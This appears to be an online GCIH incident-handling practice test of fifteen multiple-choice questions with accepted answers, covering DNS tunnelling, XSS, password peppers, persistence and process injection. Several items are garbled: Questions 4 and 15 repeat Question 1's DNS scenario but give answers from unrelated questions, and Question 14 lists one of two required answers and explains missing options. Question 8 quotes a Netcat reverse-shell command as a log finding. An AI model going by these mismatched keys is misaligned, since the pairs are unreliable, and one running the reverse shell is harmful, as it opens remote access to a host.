GCIH Practice Test 23 — 15 Questions

Question 1

During an incident response engagement, you observe that a compromised Windows workstation periodically sends DNS queries for subdomains of 'sync.update-service.com', such as 'a1b2c3.sync.update-service.com'. The queries occur at irregular intervals, and the responses contain TXT records with long, high-entropy strings. The domain is not associated with any known legitimate service. Which technique is the adversary most likely using?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

DNS tunneling for command and control. The adversary is using DNS tunneling to encapsulate command and control data within DNS queries and responses. The high-entropy TXT records and irregular subdomain queries indicate encoded data being sent to and from the attacker's authoritative DNS server. This technique bypasses many network controls because DNS is often allowed outbound.

Answer

Fast flux DNS to evade blocklists

Answer

Domain fronting to hide C2 traffic

Answer

DNS cache poisoning to redirect traffic

Question 2

A red team is using an LLM to help triage thousands of lines of reconnaissance output and propose follow-on enumeration commands. The operator wants to reduce the chance that the model proposes actions outside the client's authorized scope. Which design choice most directly constrains the model's suggestions to authorized targets and techniques?

Accepted Answer

Retrieve the engagement's scope definition at runtime and reject any model suggestion that references a host or technique not present in that scope list.. Scope enforcement must not depend on the model's willingness to comply. Retrieving the authorized scope at runtime and rejecting suggestions that reference anything outside it creates a hard boundary the model cannot talk its way past. System prompts, larger context windows, and confidence thresholds all rely on the model's internal judgment, which is exactly what the scenario requires the operator to stop trusting.

Answer

Add a system prompt instructing the model to only propose actions against the client's authorized scope.

Answer

Ask the model to output a confidence score with each suggested command and discard suggestions below a fixed threshold.

Answer

Use a larger model with a longer context window so it can track the full scope definition throughout the session.

Question 3

What is the primary difference between Stored XSS and Reflected XSS?

Accepted Answer

Stored XSS permanently persists in the application, while Reflected XSS is transient.. The difference lies in the persistence of the payload. Stored XSS injects malicious code into the server's database or permanent storage, meaning every user viewing that page is automatically affected. Reflected XSS requires the victim to click a specially crafted link that includes the payload, which is then reflected back in the response. Understanding this distinction is vital for incident response, as Stored XSS implies a compromise of data integrity and wider impact.

Answer

Stored XSS uses server-side scripts, whereas Reflected XSS uses client-side scripts.

Answer

Reflected XSS is stored on the server, while Stored XSS is delivered via URLs.

Answer

Reflected XSS is more dangerous because it bypasses CSRF tokens.

Question 4

During an incident response engagement, you observe that a compromised Windows workstation periodically sends DNS queries for subdomains of 'sync.update-service.com', such as 'a1b2c3.sync.update-service.com'. The queries occur at irregular intervals, and the responses contain TXT records with long, high-entropy strings. The domain is not associated with any known legitimate service. Which technique is the adversary most likely using?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Injection flaws, such as SQL injection and improper input validation. The combination of database error messages in response to a single quote and a 500 error from malformed nested JSON indicates that the application is not properly validating or sanitizing input before passing it to backend interpreters. This is a classic sign of injection flaws, which can lead to data compromise or remote code execution.

Answer

Insecure direct object references (IDOR)

Answer

Excessive data exposure in API responses

Answer

Broken authentication via weak API keys

Question 5

Which of the following password security practices is most effective at preventing the use of 'weak' passwords that are easily identified by dictionary attacks?

Accepted Answer

Using a banned password list during creation. Implementing a 'banned password list' (often called a common password list) checks user-chosen passwords against a database of previously leaked or commonly used passwords during the password change event. This prevents users from selecting passwords that are trivial to crack via dictionary attacks, effectively shifting the user base toward higher-entropy, more secure credentials.

Answer

Mandating password changes every 90 days

Answer

Requiring a combination of uppercase and special characters

Answer

Storing all passwords in a secure password manager

Question 6

A security administrator is configuring a new web application and wants to implement a password hashing scheme that includes a pepper. Where should the pepper be stored to provide the intended security benefit?

Accepted Answer

In a configuration file on the application server, outside the database.. The pepper must be stored separately from the password hashes to be effective. If the database is compromised but the pepper is stored on the application server in a configuration file, the attacker cannot crack the hashes without also gaining access to that file. This separation provides an additional layer of defense. Storing the pepper in the database or client-side negates its benefit.

Answer

In the same database table as the password hashes, but in a separate column.

Answer

In the user's browser as a cookie to ensure uniqueness per session.

Answer

In the source code of the application, hardcoded as a constant.

Question 7

You are analyzing a PCAP and notice a large number of packets with the 'RST' flag set. What is the most likely cause for this behavior in an incident context?

Accepted Answer

Port scanning activity.. The TCP RST (Reset) flag is used to abruptly terminate a connection. A surge of these packets can indicate an active port scan, a misconfigured firewall rejecting unauthorized traffic, or an attacker attempting to clear out half-open connections. Understanding TCP state transitions is fundamental to identifying network scanning or denial-of-service attempts during the investigation of anomalous traffic patterns in packet captures.

Answer

Successful data transfer.

Answer

Normal encrypted session renegotiation.

Answer

DNS zone transfer.

Question 8

A security analyst is reviewing logs from a compromised Linux server and notices that an attacker has created a reverse shell using Netcat. The command executed was: nc -e /bin/bash 192.168.1.100 4444. Which of the following best describes the attacker's objective?

Accepted Answer

To establish an interactive command shell on the compromised server.. Netcat with the -e option executes a specified program and binds its standard input/output to the network connection. When combined with /bin/bash and a remote IP/port, it creates a reverse shell that connects back to the attacker, providing interactive command execution. This is a classic post-exploitation technique for maintaining access and pivoting.

Answer

To scan the remote host for open ports.

Answer

To download additional tools from the remote host.

Answer

To exfiltrate sensitive files from the server to the remote host.

Question 9

Which capability is most important for a modern incident response team to maintain when integrating AI tools into their workflow?

Accepted Answer

The ability to perform manual forensic validation of AI-detected alerts.. The ability to perform manual forensic validation is the cornerstone of effective incident response, even in an era of AI. AI tools serve as force multipliers to speed up analysis, but the ultimate responsibility for accuracy and evidence integrity remains with the human responder. Maintaining these skills prevents over-reliance on automated tools, which is critical for handling novel or complex threats that the AI models were never trained to detect.

Answer

The ability to programmatically fine-tune neural network architectures.

Answer

The ability to automate the entire incident lifecycle without human oversight.

Answer

The ability to replace all legacy detection tools with AI-based solutions.

Question 10

Which phase of the incident response process is most likely to involve the creation of a 'lessons learned' report to improve future security posture?

Accepted Answer

Post-Incident Activity. Post-Incident Activity, often referred to as the 'Lessons Learned' phase, is the final stage of the IR lifecycle. It is essential for organizational growth, allowing the team to reflect on the effectiveness of their response, identify gaps in detection or containment, and update playbooks. This continuous improvement cycle is what differentiates a maturing security program from one that repeats the same mistakes during recurring security incidents.

Answer

Detection and Analysis

Answer

Containment, Eradication, and Recovery

Answer

Preparation

Question 11

When designing a secure cloud database, which configuration best protects against unauthorized data exfiltration if the database instance is misconfigured as public?

Accepted Answer

Placing the database in a private subnet with restricted Security Group rules.. Using a Virtual Private Cloud (VPC) and placing the database in private subnets ensures that the database is not routable from the public internet. By combining this with Security Groups that act as stateful firewalls, you create an isolated environment. Even if the database configuration is accidentally set to public, the network layer denies traffic, providing a critical safety net that prevents direct exploitation by external threat actors.

Answer

Setting a complex root password for the database.

Answer

Enabling database logging for every query.

Answer

Using a public IP address for faster data synchronization.

Question 12

An incident responder discovers an attacker has established persistence using a Windows 'Run' key. What is the most important first step after identifying the malicious registry entry?

Accepted Answer

Capture the registry state and the associated binary file for analysis.. Identifying the persistence mechanism is only the first step. Before removal, the responder must ensure that evidence is captured, as registry keys can provide valuable data about the attacker's tools and techniques. After imaging the state, the responder must safely remove the entry and then investigate how the attacker initially gained the access required to modify the registry in the first place.

Answer

Immediately delete the registry key to stop the persistence mechanism.

Answer

Reimage the affected workstation to ensure total eradication of the malware.

Answer

Change all user and service account passwords on the local system.

Question 13

Which of the following is the most critical step to perform after detecting a successful IDOR exploit?

Accepted Answer

Audit access logs to assess the scope of data exposure. The most critical step is to perform a comprehensive audit to determine the scope of unauthorized access. Since IDOR exploits are often automated, an attacker could have scraped the entire database. Identifying which user records were exposed is essential for compliance, incident reporting, and notifying affected parties. Without a thorough impact assessment, you cannot quantify the damage or ensure the vulnerability has not been used to exfiltrate bulk sensitive data.

Answer

Restart the web server service

Answer

Block the attacker's IP address on the firewall

Answer

Rotate all user passwords in the system

Question 14

An incident responder is analyzing a suspected process injection on a Windows host. Which two artifacts most reliably indicate that a remote thread was injected into a legitimate process? (Choose two.)

Accepted Answer

A memory region with PAGE_EXECUTE_READWRITE permissions that is not backed by a file on disk. Remote thread injection leaves memory artifacts: a thread whose start address is outside any loaded module, and an unbacked memory region with execute-read-write permissions. These indicate code executing from dynamically allocated memory rather than a legitimate DLL or EXE. Process creation events, failed logons, and DNS volume are unrelated to thread injection and do not directly evidence it.

Answer

Event ID 4688 showing the creation of a new process with a suspicious command line

Answer

An increase in DNS query volume from the host

Answer

A high number of failed logon attempts in the Security event log

Question 15

During an incident response engagement, you observe that a compromised Windows workstation periodically sends DNS queries for subdomains of 'sync.update-service.com', such as 'a1b2c3.sync.update-service.com'. The queries occur at irregular intervals, and the responses contain TXT records with long, high-entropy strings. The domain is not associated with any known legitimate service. Which technique is the adversary most likely using?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Pass-the-Hash using the machine account hash to authenticate laterally. Pass-the-Hash allows an adversary to authenticate using a captured NTLM hash, and machine account hashes are equally usable. A Type 3 network logon claiming to be a server's machine account but originating from an unrelated workstation is a classic lateral movement signature. Kerberoasting, Golden Ticket, and DCSync leave different artifacts such as 4769, 4768, or 4662 events, not this logon pattern.

Answer

Kerberoasting of the server's service account

Answer

Golden Ticket creation using the KRBTGT hash

Answer

DCSync replication of directory credentials